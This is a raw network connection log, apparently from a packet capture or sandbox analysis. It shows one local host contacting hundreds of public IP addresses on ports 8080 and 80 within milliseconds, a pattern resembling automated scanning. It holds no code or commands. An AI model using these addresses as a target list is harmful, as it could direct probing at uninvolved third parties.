Feb 27, 2025 07:08:34.530337095 CET	80	28098	95.6.87.220	192.168.2.14
Feb 27, 2025 07:08:34.530347109 CET	80	28098	95.168.64.252	192.168.2.14
Feb 27, 2025 07:08:34.530353069 CET	25538	8080	192.168.2.14	95.141.14.89
Feb 27, 2025 07:08:34.530354023 CET	28098	80	192.168.2.14	95.245.219.98
Feb 27, 2025 07:08:34.530356884 CET	25538	8080	192.168.2.14	94.76.163.173
Feb 27, 2025 07:08:34.530358076 CET	25538	8080	192.168.2.14	62.251.248.47
Feb 27, 2025 07:08:34.530359030 CET	80	28098	95.46.218.105	192.168.2.14
Feb 27, 2025 07:08:34.530359983 CET	28098	80	192.168.2.14	95.12.183.45
Feb 27, 2025 07:08:34.530369997 CET	28098	80	192.168.2.14	95.6.87.220
Feb 27, 2025 07:08:34.530373096 CET	28098	80	192.168.2.14	95.168.64.252
Feb 27, 2025 07:08:34.530388117 CET	28098	80	192.168.2.14	95.46.218.105
Feb 27, 2025 07:08:34.530404091 CET	25538	8080	192.168.2.14	85.233.165.225
Feb 27, 2025 07:08:34.530404091 CET	25538	8080	192.168.2.14	85.30.160.248
Feb 27, 2025 07:08:34.530412912 CET	25538	8080	192.168.2.14	95.197.32.37
Feb 27, 2025 07:08:34.530414104 CET	25538	8080	192.168.2.14	31.133.137.175
Feb 27, 2025 07:08:34.530417919 CET	25538	8080	192.168.2.14	31.81.147.236
Feb 27, 2025 07:08:34.530436039 CET	25538	8080	192.168.2.14	94.79.236.115
Feb 27, 2025 07:08:34.530452013 CET	25538	8080	192.168.2.14	95.246.247.156
Feb 27, 2025 07:08:34.530452967 CET	25538	8080	192.168.2.14	85.208.240.228
Feb 27, 2025 07:08:34.530462027 CET	25538	8080	192.168.2.14	85.9.202.184
Feb 27, 2025 07:08:34.530464888 CET	25538	8080	192.168.2.14	94.142.243.169
Feb 27, 2025 07:08:34.530472994 CET	25538	8080	192.168.2.14	31.95.229.44
Feb 27, 2025 07:08:34.530476093 CET	25538	8080	192.168.2.14	94.15.106.176
Feb 27, 2025 07:08:34.530484915 CET	25538	8080	192.168.2.14	62.119.89.33
Feb 27, 2025 07:08:34.530489922 CET	25538	8080	192.168.2.14	85.55.65.94
Feb 27, 2025 07:08:34.530498981 CET	25538	8080	192.168.2.14	62.242.101.38
Feb 27, 2025 07:08:34.530499935 CET	25538	8080	192.168.2.14	31.27.123.138
Feb 27, 2025 07:08:34.530508995 CET	25538	8080	192.168.2.14	62.223.190.79
Feb 27, 2025 07:08:34.530534029 CET	25538	8080	192.168.2.14	31.195.207.3
Feb 27, 2025 07:08:34.530544043 CET	25538	8080	192.168.2.14	31.200.199.21
Feb 27, 2025 07:08:34.530546904 CET	25538	8080	192.168.2.14	94.88.35.224
Feb 27, 2025 07:08:34.530549049 CET	25538	8080	192.168.2.14	95.32.194.221
Feb 27, 2025 07:08:34.530560017 CET	25538	8080	192.168.2.14	62.127.216.201
Feb 27, 2025 07:08:34.530564070 CET	25538	8080	192.168.2.14	85.29.107.174
Feb 27, 2025 07:08:34.530575037 CET	25538	8080	192.168.2.14	62.246.203.18
Feb 27, 2025 07:08:34.530575991 CET	25538	8080	192.168.2.14	94.217.170.107
Feb 27, 2025 07:08:34.530580044 CET	25538	8080	192.168.2.14	94.242.170.77
Feb 27, 2025 07:08:34.530580997 CET	25538	8080	192.168.2.14	62.120.4.49
Feb 27, 2025 07:08:34.530591011 CET	25538	8080	192.168.2.14	31.216.57.205
Feb 27, 2025 07:08:34.530592918 CET	25538	8080	192.168.2.14	85.149.46.75
Feb 27, 2025 07:08:34.530605078 CET	25538	8080	192.168.2.14	94.242.227.165
Feb 27, 2025 07:08:34.530610085 CET	25538	8080	192.168.2.14	62.222.158.41
Feb 27, 2025 07:08:34.530611992 CET	25538	8080	192.168.2.14	31.237.46.215
Feb 27, 2025 07:08:34.530613899 CET	25538	8080	192.168.2.14	85.247.229.207
Feb 27, 2025 07:08:34.530639887 CET	25538	8080	192.168.2.14	85.206.49.145
Feb 27, 2025 07:08:34.530638933 CET	25538	8080	192.168.2.14	31.42.5.115
Feb 27, 2025 07:08:34.530642986 CET	25538	8080	192.168.2.14	95.75.204.202
Feb 27, 2025 07:08:34.530647993 CET	25538	8080	192.168.2.14	94.63.202.245
Feb 27, 2025 07:08:34.530666113 CET	25538	8080	192.168.2.14	95.114.92.197
Feb 27, 2025 07:08:34.530667067 CET	25538	8080	192.168.2.14	31.137.183.7
Feb 27, 2025 07:08:34.530673981 CET	25538	8080	192.168.2.14	62.164.91.224
Feb 27, 2025 07:08:34.530673981 CET	25538	8080	192.168.2.14	62.47.179.17
Feb 27, 2025 07:08:34.530687094 CET	25538	8080	192.168.2.14	94.179.51.219
Feb 27, 2025 07:08:34.530687094 CET	25538	8080	192.168.2.14	62.127.149.222
Feb 27, 2025 07:08:34.530694962 CET	25538	8080	192.168.2.14	62.140.151.213
Feb 27, 2025 07:08:34.530698061 CET	25538	8080	192.168.2.14	85.233.73.206
Feb 27, 2025 07:08:34.530702114 CET	25538	8080	192.168.2.14	31.19.100.103
Feb 27, 2025 07:08:34.530704021 CET	25538	8080	192.168.2.14	95.86.122.209
Feb 27, 2025 07:08:34.530706882 CET	25538	8080	192.168.2.14	85.41.29.77
Feb 27, 2025 07:08:34.530718088 CET	25538	8080	192.168.2.14	94.15.134.58
Feb 27, 2025 07:08:34.530720949 CET	25538	8080	192.168.2.14	62.61.159.242
Feb 27, 2025 07:08:34.530731916 CET	25538	8080	192.168.2.14	31.201.148.57
Feb 27, 2025 07:08:34.530749083 CET	25538	8080	192.168.2.14	94.91.87.4
Feb 27, 2025 07:08:34.530751944 CET	25538	8080	192.168.2.14	62.30.161.245
Feb 27, 2025 07:08:34.530755043 CET	25538	8080	192.168.2.14	94.189.150.11
Feb 27, 2025 07:08:34.530776024 CET	25538	8080	192.168.2.14	95.76.214.123
Feb 27, 2025 07:08:34.530776024 CET	25538	8080	192.168.2.14	62.165.193.69
Feb 27, 2025 07:08:34.530781031 CET	25538	8080	192.168.2.14	31.59.44.217
Feb 27, 2025 07:08:34.530781984 CET	25538	8080	192.168.2.14	31.128.213.187
Feb 27, 2025 07:08:34.530782938 CET	25538	8080	192.168.2.14	31.129.245.55
Feb 27, 2025 07:08:34.530786991 CET	25538	8080	192.168.2.14	62.198.69.245
Feb 27, 2025 07:08:34.530792952 CET	25538	8080	192.168.2.14	85.130.203.151
Feb 27, 2025 07:08:34.530802965 CET	25538	8080	192.168.2.14	31.171.232.105
Feb 27, 2025 07:08:34.530811071 CET	25538	8080	192.168.2.14	94.217.83.130
Feb 27, 2025 07:08:34.530812979 CET	25538	8080	192.168.2.14	94.98.180.26
Feb 27, 2025 07:08:34.530826092 CET	25538	8080	192.168.2.14	31.129.67.103
Feb 27, 2025 07:08:34.530828953 CET	25538	8080	192.168.2.14	85.127.193.206
Feb 27, 2025 07:08:34.530837059 CET	25538	8080	192.168.2.14	94.222.5.9
Feb 27, 2025 07:08:34.530872107 CET	25538	8080	192.168.2.14	85.128.173.60
Feb 27, 2025 07:08:34.530875921 CET	25538	8080	192.168.2.14	85.36.214.14
Feb 27, 2025 07:08:34.530875921 CET	25538	8080	192.168.2.14	85.225.135.37
Feb 27, 2025 07:08:34.530886889 CET	25538	8080	192.168.2.14	94.133.84.141
Feb 27, 2025 07:08:34.530886889 CET	25538	8080	192.168.2.14	62.52.201.46
Feb 27, 2025 07:08:34.530895948 CET	25538	8080	192.168.2.14	94.36.82.210
Feb 27, 2025 07:08:34.530901909 CET	25538	8080	192.168.2.14	95.215.245.100
Feb 27, 2025 07:08:34.530905962 CET	25538	8080	192.168.2.14	31.72.17.201
Feb 27, 2025 07:08:34.530917883 CET	25538	8080	192.168.2.14	95.68.46.42
Feb 27, 2025 07:08:34.530920982 CET	25538	8080	192.168.2.14	95.176.160.222
Feb 27, 2025 07:08:34.530925035 CET	25538	8080	192.168.2.14	62.231.251.52
Feb 27, 2025 07:08:34.530951023 CET	25538	8080	192.168.2.14	94.138.191.199
Feb 27, 2025 07:08:34.530958891 CET	25538	8080	192.168.2.14	85.158.94.183
Feb 27, 2025 07:08:34.530962944 CET	25538	8080	192.168.2.14	62.13.245.164
Feb 27, 2025 07:08:34.530972958 CET	25538	8080	192.168.2.14	31.217.151.65
Feb 27, 2025 07:08:34.530977011 CET	25538	8080	192.168.2.14	62.85.61.132
Feb 27, 2025 07:08:34.530977011 CET	25538	8080	192.168.2.14	94.246.24.72
Feb 27, 2025 07:08:34.530994892 CET	25538	8080	192.168.2.14	31.120.70.72
Feb 27, 2025 07:08:34.530996084 CET	25538	8080	192.168.2.14	85.148.7.203
Feb 27, 2025 07:08:34.531003952 CET	25538	8080	192.168.2.14	94.202.194.231
Feb 27, 2025 07:08:34.531009912 CET	25538	8080	192.168.2.14	85.145.128.237
Feb 27, 2025 07:08:34.531021118 CET	25538	8080	192.168.2.14	31.66.106.133
Feb 27, 2025 07:08:34.531021118 CET	25538	8080	192.168.2.14	95.149.38.5
Feb 27, 2025 07:08:34.531037092 CET	25538	8080	192.168.2.14	94.92.92.255
Feb 27, 2025 07:08:34.531037092 CET	25538	8080	192.168.2.14	95.86.120.7
Feb 27, 2025 07:08:34.531050920 CET	25538	8080	192.168.2.14	95.212.129.181
Feb 27, 2025 07:08:34.531054974 CET	25538	8080	192.168.2.14	95.234.93.99
Feb 27, 2025 07:08:34.531054974 CET	25538	8080	192.168.2.14	95.234.4.90
Feb 27, 2025 07:08:34.531064034 CET	25538	8080	192.168.2.14	31.254.244.208
Feb 27, 2025 07:08:34.531066895 CET	25538	8080	192.168.2.14	95.31.180.241
Feb 27, 2025 07:08:34.531095982 CET	25538	8080	192.168.2.14	85.47.90.109
Feb 27, 2025 07:08:34.531104088 CET	25538	8080	192.168.2.14	62.39.198.78
Feb 27, 2025 07:08:34.531109095 CET	25538	8080	192.168.2.14	85.133.176.69
Feb 27, 2025 07:08:34.531117916 CET	25538	8080	192.168.2.14	31.209.100.221
Feb 27, 2025 07:08:34.531117916 CET	25538	8080	192.168.2.14	31.101.14.139
Feb 27, 2025 07:08:34.531119108 CET	25538	8080	192.168.2.14	95.210.40.167
Feb 27, 2025 07:08:34.531119108 CET	25538	8080	192.168.2.14	85.113.223.249
Feb 27, 2025 07:08:34.531119108 CET	25538	8080	192.168.2.14	95.9.149.141
Feb 27, 2025 07:08:34.531121969 CET	25538	8080	192.168.2.14	94.182.62.12
Feb 27, 2025 07:08:34.531121969 CET	25538	8080	192.168.2.14	95.1.42.73
Feb 27, 2025 07:08:34.531122923 CET	25538	8080	192.168.2.14	95.1.145.178
Feb 27, 2025 07:08:34.531130075 CET	25538	8080	192.168.2.14	85.224.49.136
Feb 27, 2025 07:08:34.531135082 CET	25538	8080	192.168.2.14	85.56.172.114
Feb 27, 2025 07:08:34.531135082 CET	25538	8080	192.168.2.14	94.154.23.197
Feb 27, 2025 07:08:34.531135082 CET	25538	8080	192.168.2.14	62.239.153.251
Feb 27, 2025 07:08:34.531141043 CET	25538	8080	192.168.2.14	31.70.111.43
Feb 27, 2025 07:08:34.531147957 CET	25538	8080	192.168.2.14	95.62.148.170
Feb 27, 2025 07:08:34.531152010 CET	25538	8080	192.168.2.14	95.195.7.140
Feb 27, 2025 07:08:34.531155109 CET	25538	8080	192.168.2.14	94.130.194.81
Feb 27, 2025 07:08:34.531167030 CET	25538	8080	192.168.2.14	85.50.162.33
Feb 27, 2025 07:08:34.531167030 CET	25538	8080	192.168.2.14	31.167.195.77
Feb 27, 2025 07:08:34.531173944 CET	25538	8080	192.168.2.14	95.234.116.160
Feb 27, 2025 07:08:34.531181097 CET	25538	8080	192.168.2.14	85.166.81.54
Feb 27, 2025 07:08:34.531183004 CET	25538	8080	192.168.2.14	85.80.180.45
Feb 27, 2025 07:08:34.531198978 CET	25538	8080	192.168.2.14	95.8.196.172
Feb 27, 2025 07:08:34.531205893 CET	25538	8080	192.168.2.14	31.215.222.61
Feb 27, 2025 07:08:34.531205893 CET	25538	8080	192.168.2.14	85.74.49.110
Feb 27, 2025 07:08:34.531224012 CET	25538	8080	192.168.2.14	95.222.125.5
Feb 27, 2025 07:08:34.531224966 CET	25538	8080	192.168.2.14	31.136.127.252
Feb 27, 2025 07:08:34.531224966 CET	25538	8080	192.168.2.14	62.158.52.104
Feb 27, 2025 07:08:34.531240940 CET	25538	8080	192.168.2.14	31.228.254.129
Feb 27, 2025 07:08:34.531241894 CET	25538	8080	192.168.2.14	31.89.156.127
Feb 27, 2025 07:08:34.531241894 CET	25538	8080	192.168.2.14	94.5.2.37
Feb 27, 2025 07:08:34.531255007 CET	25538	8080	192.168.2.14	31.183.246.58
Feb 27, 2025 07:08:34.531264067 CET	25538	8080	192.168.2.14	62.172.56.233
Feb 27, 2025 07:08:34.531275988 CET	25538	8080	192.168.2.14	94.206.203.122
Feb 27, 2025 07:08:34.531279087 CET	25538	8080	192.168.2.14	31.77.124.174
Feb 27, 2025 07:08:34.531280994 CET	25538	8080	192.168.2.14	62.69.240.67
Feb 27, 2025 07:08:34.531301975 CET	25538	8080	192.168.2.14	31.203.35.6
Feb 27, 2025 07:08:34.531308889 CET	25538	8080	192.168.2.14	85.71.86.3
Feb 27, 2025 07:08:34.531318903 CET	25538	8080	192.168.2.14	62.80.67.41
Feb 27, 2025 07:08:34.531326056 CET	25538	8080	192.168.2.14	31.156.255.43
Feb 27, 2025 07:08:34.531326056 CET	25538	8080	192.168.2.14	62.145.105.73
Feb 27, 2025 07:08:34.531326056 CET	25538	8080	192.168.2.14	62.155.110.53
Feb 27, 2025 07:08:34.531337023 CET	25538	8080	192.168.2.14	62.118.242.224
Feb 27, 2025 07:08:34.531342030 CET	25538	8080	192.168.2.14	31.6.41.185
Feb 27, 2025 07:08:34.531352043 CET	25538	8080	192.168.2.14	85.34.87.88
Feb 27, 2025 07:08:34.531353951 CET	25538	8080	192.168.2.14	94.204.245.144
Feb 27, 2025 07:08:34.531368017 CET	25538	8080	192.168.2.14	95.31.238.42
Feb 27, 2025 07:08:34.531373978 CET	25538	8080	192.168.2.14	94.1.102.180
Feb 27, 2025 07:08:34.531375885 CET	25538	8080	192.168.2.14	94.45.165.111
Feb 27, 2025 07:08:34.531379938 CET	25538	8080	192.168.2.14	62.42.221.69
Feb 27, 2025 07:08:34.531382084 CET	25538	8080	192.168.2.14	62.120.51.153
Feb 27, 2025 07:08:34.531398058 CET	25538	8080	192.168.2.14	62.87.32.83
Feb 27, 2025 07:08:34.531404018 CET	25538	8080	192.168.2.14	31.234.13.173
Feb 27, 2025 07:08:34.531409979 CET	25538	8080	192.168.2.14	62.186.241.170
Feb 27, 2025 07:08:34.531425953 CET	25538	8080	192.168.2.14	85.113.36.129
Feb 27, 2025 07:08:34.531425953 CET	25538	8080	192.168.2.14	62.68.249.112
Feb 27, 2025 07:08:34.531438112 CET	25538	8080	192.168.2.14	85.126.165.82
Feb 27, 2025 07:08:34.531440020 CET	25538	8080	192.168.2.14	95.104.250.119
Feb 27, 2025 07:08:34.531441927 CET	25538	8080	192.168.2.14	94.162.59.138
Feb 27, 2025 07:08:34.531447887 CET	25538	8080	192.168.2.14	95.194.217.52
Feb 27, 2025 07:08:34.531451941 CET	25538	8080	192.168.2.14	62.135.133.49
Feb 27, 2025 07:08:34.531481981 CET	25538	8080	192.168.2.14	31.127.170.187
Feb 27, 2025 07:08:34.531481981 CET	25538	8080	192.168.2.14	31.163.200.40
Feb 27, 2025 07:08:34.531482935 CET	25538	8080	192.168.2.14	94.229.138.73
Feb 27, 2025 07:08:34.531493902 CET	25538	8080	192.168.2.14	85.99.41.64
Feb 27, 2025 07:08:34.531507015 CET	25538	8080	192.168.2.14	31.50.42.28
Feb 27, 2025 07:08:34.531513929 CET	25538	8080	192.168.2.14	94.166.189.165
Feb 27, 2025 07:08:34.531516075 CET	25538	8080	192.168.2.14	62.22.115.81
Feb 27, 2025 07:08:34.531516075 CET	25538	8080	192.168.2.14	85.25.92.171
Feb 27, 2025 07:08:34.531531096 CET	25538	8080	192.168.2.14	95.166.176.129
Feb 27, 2025 07:08:34.531536102 CET	25538	8080	192.168.2.14	62.86.170.241
Feb 27, 2025 07:08:34.531543016 CET	25538	8080	192.168.2.14	31.232.53.15
Feb 27, 2025 07:08:34.531547070 CET	25538	8080	192.168.2.14	85.155.127.148
Feb 27, 2025 07:08:34.531550884 CET	25538	8080	192.168.2.14	31.131.33.234
Feb 27, 2025 07:08:34.531579971 CET	25538	8080	192.168.2.14	85.58.153.231
Feb 27, 2025 07:08:34.531586885 CET	25538	8080	192.168.2.14	62.219.6.223
Feb 27, 2025 07:08:34.531586885 CET	25538	8080	192.168.2.14	85.85.101.205
Feb 27, 2025 07:08:34.531600952 CET	25538	8080	192.168.2.14	94.220.52.90
Feb 27, 2025 07:08:34.531606913 CET	25538	8080	192.168.2.14	95.63.63.217
Feb 27, 2025 07:08:34.531608105 CET	25538	8080	192.168.2.14	62.176.173.226
Feb 27, 2025 07:08:34.531609058 CET	25538	8080	192.168.2.14	94.69.216.235
Feb 27, 2025 07:08:34.531615019 CET	25538	8080	192.168.2.14	31.60.23.205
Feb 27, 2025 07:08:34.531618118 CET	25538	8080	192.168.2.14	94.140.247.213
Feb 27, 2025 07:08:34.531636000 CET	25538	8080	192.168.2.14	95.19.117.80
Feb 27, 2025 07:08:34.531636000 CET	25538	8080	192.168.2.14	85.121.181.24
Feb 27, 2025 07:08:34.531636000 CET	25538	8080	192.168.2.14	62.63.240.127
Feb 27, 2025 07:08:34.531642914 CET	25538	8080	192.168.2.14	85.35.222.176
Feb 27, 2025 07:08:34.531646967 CET	25538	8080	192.168.2.14	94.78.223.14
Feb 27, 2025 07:08:34.531658888 CET	25538	8080	192.168.2.14	85.22.43.239
Feb 27, 2025 07:08:34.531677961 CET	25538	8080	192.168.2.14	62.135.152.225
Feb 27, 2025 07:08:34.531677961 CET	25538	8080	192.168.2.14	94.108.76.229
Feb 27, 2025 07:08:34.531683922 CET	25538	8080	192.168.2.14	85.151.194.200
Feb 27, 2025 07:08:34.531687021 CET	25538	8080	192.168.2.14	94.252.130.1
Feb 27, 2025 07:08:34.531692028 CET	25538	8080	192.168.2.14	85.109.183.59
Feb 27, 2025 07:08:34.531692028 CET	25538	8080	192.168.2.14	94.129.158.109
Feb 27, 2025 07:08:34.531696081 CET	25538	8080	192.168.2.14	95.135.2.61
Feb 27, 2025 07:08:34.531697989 CET	25538	8080	192.168.2.14	31.17.27.33
Feb 27, 2025 07:08:34.531696081 CET	25538	8080	192.168.2.14	95.9.109.132
Feb 27, 2025 07:08:34.531703949 CET	25538	8080	192.168.2.14	31.53.23.255
Feb 27, 2025 07:08:34.531708002 CET	25538	8080	192.168.2.14	31.191.164.26
Feb 27, 2025 07:08:34.531708002 CET	25538	8080	192.168.2.14	85.121.4.148
Feb 27, 2025 07:08:34.531714916 CET	25538	8080	192.168.2.14	94.76.53.15
Feb 27, 2025 07:08:34.531716108 CET	25538	8080	192.168.2.14	62.133.165.75
Feb 27, 2025 07:08:34.531716108 CET	25538	8080	192.168.2.14	95.201.161.215
Feb 27, 2025 07:08:34.531716108 CET	25538	8080	192.168.2.14	31.166.193.251
Feb 27, 2025 07:08:34.531716108 CET	25538	8080	192.168.2.14	95.127.106.161
Feb 27, 2025 07:08:34.531732082 CET	25538	8080	192.168.2.14	95.103.12.141
Feb 27, 2025 07:08:34.531735897 CET	25538	8080	192.168.2.14	62.98.115.234
Feb 27, 2025 07:08:34.531735897 CET	25538	8080	192.168.2.14	95.174.24.45
Feb 27, 2025 07:08:34.531738997 CET	25538	8080	192.168.2.14	85.202.73.49
Feb 27, 2025 07:08:34.531747103 CET	80	28098	95.179.101.27	192.168.2.14
Feb 27, 2025 07:08:34.531749964 CET	25538	8080	192.168.2.14	95.255.128.194
Feb 27, 2025 07:08:34.531754017 CET	25538	8080	192.168.2.14	85.128.45.204
Feb 27, 2025 07:08:34.531759024 CET	80	28098	95.118.253.13	192.168.2.14
Feb 27, 2025 07:08:34.531769991 CET	80	28098	95.161.183.217	192.168.2.14
Feb 27, 2025 07:08:34.531778097 CET	25538	8080	192.168.2.14	85.32.244.45
Feb 27, 2025 07:08:34.531780958 CET	80	28098	95.213.96.155	192.168.2.14
Feb 27, 2025 07:08:34.531783104 CET	25538	8080	192.168.2.14	95.47.5.174
Feb 27, 2025 07:08:34.531783104 CET	25538	8080	192.168.2.14	31.189.240.242
Feb 27, 2025 07:08:34.531785011 CET	25538	8080	192.168.2.14	31.16.54.31
Feb 27, 2025 07:08:34.531789064 CET	28098	80	192.168.2.14	95.118.253.13
Feb 27, 2025 07:08:34.531790018 CET	28098	80	192.168.2.14	95.179.101.27
Feb 27, 2025 07:08:34.531791925 CET	80	28098	95.231.222.58	192.168.2.14
Feb 27, 2025 07:08:34.531795979 CET	28098	80	192.168.2.14	95.161.183.217
Feb 27, 2025 07:08:34.531804085 CET	25538	8080	192.168.2.14	94.63.253.83
Feb 27, 2025 07:08:34.531805992 CET	80	28098	95.133.115.128	192.168.2.14
Feb 27, 2025 07:08:34.531814098 CET	28098	80	192.168.2.14	95.213.96.155
Feb 27, 2025 07:08:34.531816006 CET	80	28098	95.123.195.28	192.168.2.14
Feb 27, 2025 07:08:34.531819105 CET	25538	8080	192.168.2.14	95.201.189.55
Feb 27, 2025 07:08:34.531824112 CET	25538	8080	192.168.2.14	31.222.179.7
Feb 27, 2025 07:08:34.531826973 CET	80	28098	95.208.254.4	192.168.2.14
Feb 27, 2025 07:08:34.531827927 CET	28098	80	192.168.2.14	95.231.222.58
Feb 27, 2025 07:08:34.531837940 CET	25538	8080	192.168.2.14	85.123.17.38
Feb 27, 2025 07:08:34.531838894 CET	80	28098	95.151.79.142	192.168.2.14
Feb 27, 2025 07:08:34.531841993 CET	25538	8080	192.168.2.14	94.110.66.98
Feb 27, 2025 07:08:34.531847000 CET	28098	80	192.168.2.14	95.123.195.28
Feb 27, 2025 07:08:34.531850100 CET	80	28098	95.183.16.67	192.168.2.14
Feb 27, 2025 07:08:34.531852007 CET	25538	8080	192.168.2.14	31.233.87.10
Feb 27, 2025 07:08:34.531857014 CET	25538	8080	192.168.2.14	85.189.58.191
Feb 27, 2025 07:08:34.531862974 CET	80	28098	95.196.34.185	192.168.2.14
Feb 27, 2025 07:08:34.531864882 CET	28098	80	192.168.2.14	95.133.115.128
Feb 27, 2025 07:08:34.531864882 CET	25538	8080	192.168.2.14	31.18.147.170
Feb 27, 2025 07:08:34.531871080 CET	25538	8080	192.168.2.14	62.110.119.105
Feb 27, 2025 07:08:34.531871080 CET	25538	8080	192.168.2.14	95.121.144.180
Feb 27, 2025 07:08:34.531872988 CET	25538	8080	192.168.2.14	94.237.139.179
Feb 27, 2025 07:08:34.531872988 CET	28098	80	192.168.2.14	95.208.254.4
Feb 27, 2025 07:08:34.531872988 CET	80	28098	95.40.254.35	192.168.2.14
Feb 27, 2025 07:08:34.531872988 CET	25538	8080	192.168.2.14	62.145.7.225
Feb 27, 2025 07:08:34.531882048 CET	28098	80	192.168.2.14	95.151.79.142
Feb 27, 2025 07:08:34.531883955 CET	25538	8080	192.168.2.14	95.71.183.42
Feb 27, 2025 07:08:34.531884909 CET	25538	8080	192.168.2.14	95.112.231.112
Feb 27, 2025 07:08:34.531886101 CET	25538	8080	192.168.2.14	62.117.52.201
Feb 27, 2025 07:08:34.531886101 CET	80	28098	95.128.237.231	192.168.2.14
Feb 27, 2025 07:08:34.531892061 CET	25538	8080	192.168.2.14	95.40.247.214
Feb 27, 2025 07:08:34.531893015 CET	28098	80	192.168.2.14	95.183.16.67
Feb 27, 2025 07:08:34.531898022 CET	25538	8080	192.168.2.14	94.158.48.157
Feb 27, 2025 07:08:34.531898022 CET	28098	80	192.168.2.14	95.40.254.35
Feb 27, 2025 07:08:34.531898975 CET	80	28098	95.195.45.67	192.168.2.14
Feb 27, 2025 07:08:34.531898975 CET	25538	8080	192.168.2.14	94.89.183.179
Feb 27, 2025 07:08:34.531908989 CET	80	28098	95.179.63.135	192.168.2.14
Feb 27, 2025 07:08:34.531908989 CET	28098	80	192.168.2.14	95.196.34.185
Feb 27, 2025 07:08:34.531912088 CET	25538	8080	192.168.2.14	95.47.254.243
Feb 27, 2025 07:08:34.531912088 CET	25538	8080	192.168.2.14	31.125.22.97
Feb 27, 2025 07:08:34.531918049 CET	80	28098	95.125.197.36	192.168.2.14
Feb 27, 2025 07:08:34.531918049 CET	25538	8080	192.168.2.14	62.65.64.148
Feb 27, 2025 07:08:34.531922102 CET	28098	80	192.168.2.14	95.128.237.231
Feb 27, 2025 07:08:34.531932116 CET	80	28098	95.175.84.69	192.168.2.14
Feb 27, 2025 07:08:34.531941891 CET	80	28098	95.129.55.172	192.168.2.14
Feb 27, 2025 07:08:34.531946898 CET	28098	80	192.168.2.14	95.195.45.67
Feb 27, 2025 07:08:34.531953096 CET	80	28098	95.47.48.254	192.168.2.14
Feb 27, 2025 07:08:34.531953096 CET	25538	8080	192.168.2.14	94.188.8.202
Feb 27, 2025 07:08:34.531955004 CET	28098	80	192.168.2.14	95.179.63.135
Feb 27, 2025 07:08:34.531955004 CET	25538	8080	192.168.2.14	95.54.215.183
Feb 27, 2025 07:08:34.531956911 CET	28098	80	192.168.2.14	95.175.84.69
Feb 27, 2025 07:08:34.531959057 CET	25538	8080	192.168.2.14	94.111.255.126
Feb 27, 2025 07:08:34.531959057 CET	25538	8080	192.168.2.14	95.175.34.0
Feb 27, 2025 07:08:34.531965017 CET	80	28098	95.255.172.19	192.168.2.14
Feb 27, 2025 07:08:34.531969070 CET	28098	80	192.168.2.14	95.125.197.36
Feb 27, 2025 07:08:34.531975031 CET	28098	80	192.168.2.14	95.129.55.172
Feb 27, 2025 07:08:34.531980991 CET	25538	8080	192.168.2.14	94.187.106.126
Feb 27, 2025 07:08:34.531985044 CET	80	28098	95.142.150.98	192.168.2.14
Feb 27, 2025 07:08:34.531986952 CET	28098	80	192.168.2.14	95.47.48.254
Feb 27, 2025 07:08:34.531986952 CET	25538	8080	192.168.2.14	85.22.82.218
Feb 27, 2025 07:08:34.532000065 CET	80	28098	95.37.78.32	192.168.2.14
Feb 27, 2025 07:08:34.532002926 CET	25538	8080	192.168.2.14	62.87.122.67
Feb 27, 2025 07:08:34.532002926 CET	28098	80	192.168.2.14	95.255.172.19
Feb 27, 2025 07:08:34.532007933 CET	25538	8080	192.168.2.14	62.192.253.27
Feb 27, 2025 07:08:34.532010078 CET	25538	8080	192.168.2.14	95.92.34.234
Feb 27, 2025 07:08:34.532011986 CET	80	28098	95.165.150.77	192.168.2.14
Feb 27, 2025 07:08:34.532021999 CET	80	28098	95.146.3.145	192.168.2.14
Feb 27, 2025 07:08:34.532025099 CET	25538	8080	192.168.2.14	94.204.65.45
Feb 27, 2025 07:08:34.532032013 CET	28098	80	192.168.2.14	95.142.150.98
Feb 27, 2025 07:08:34.532032967 CET	80	28098	95.214.249.209	192.168.2.14
Feb 27, 2025 07:08:34.532042027 CET	25538	8080	192.168.2.14	85.126.104.61
Feb 27, 2025 07:08:34.532042980 CET	28098	80	192.168.2.14	95.37.78.32
Feb 27, 2025 07:08:34.532044888 CET	80	28098	95.67.124.14	192.168.2.14
Feb 27, 2025 07:08:34.532053947 CET	28098	80	192.168.2.14	95.165.150.77
Feb 27, 2025 07:08:34.532054901 CET	25538	8080	192.168.2.14	85.254.137.55
Feb 27, 2025 07:08:34.532056093 CET	80	28098	95.118.198.213	192.168.2.14
Feb 27, 2025 07:08:34.532053947 CET	25538	8080	192.168.2.14	95.124.167.83
Feb 27, 2025 07:08:34.532061100 CET	28098	80	192.168.2.14	95.146.3.145
Feb 27, 2025 07:08:34.532061100 CET	28098	80	192.168.2.14	95.214.249.209
Feb 27, 2025 07:08:34.532064915 CET	25538	8080	192.168.2.14	62.252.225.53
Feb 27, 2025 07:08:34.532068014 CET	80	28098	95.25.42.165	192.168.2.14
Feb 27, 2025 07:08:34.532077074 CET	28098	80	192.168.2.14	95.67.124.14
Feb 27, 2025 07:08:34.532078981 CET	80	28098	95.231.163.61	192.168.2.14
Feb 27, 2025 07:08:34.532089949 CET	28098	80	192.168.2.14	95.118.198.213
Feb 27, 2025 07:08:34.532090902 CET	80	28098	95.71.219.235	192.168.2.14
Feb 27, 2025 07:08:34.532099009 CET	28098	80	192.168.2.14	95.25.42.165
Feb 27, 2025 07:08:34.532100916 CET	80	28098	95.143.117.158	192.168.2.14
Feb 27, 2025 07:08:34.532113075 CET	80	28098	95.160.53.179	192.168.2.14
Feb 27, 2025 07:08:34.532116890 CET	28098	80	192.168.2.14	95.71.219.235
Feb 27, 2025 07:08:34.532120943 CET	28098	80	192.168.2.14	95.231.163.61
Feb 27, 2025 07:08:34.532124996 CET	80	28098	95.3.203.72	192.168.2.14
Feb 27, 2025 07:08:34.532138109 CET	80	28098	95.87.175.128	192.168.2.14
Feb 27, 2025 07:08:34.532143116 CET	28098	80	192.168.2.14	95.143.117.158
Feb 27, 2025 07:08:34.532144070 CET	28098	80	192.168.2.14	95.160.53.179
Feb 27, 2025 07:08:34.532147884 CET	80	28098	95.112.194.23	192.168.2.14
Feb 27, 2025 07:08:34.532159090 CET	28098	80	192.168.2.14	95.3.203.72
Feb 27, 2025 07:08:34.532159090 CET	80	28098	95.84.24.120	192.168.2.14
Feb 27, 2025 07:08:34.532165051 CET	25538	8080	192.168.2.14	94.61.116.80
Feb 27, 2025 07:08:34.532171965 CET	80	28098	95.254.18.81	192.168.2.14
Feb 27, 2025 07:08:34.532172918 CET	28098	80	192.168.2.14	95.87.175.128
Feb 27, 2025 07:08:34.532179117 CET	28098	80	192.168.2.14	95.112.194.23
Feb 27, 2025 07:08:34.532183886 CET	80	28098	95.190.239.241	192.168.2.14
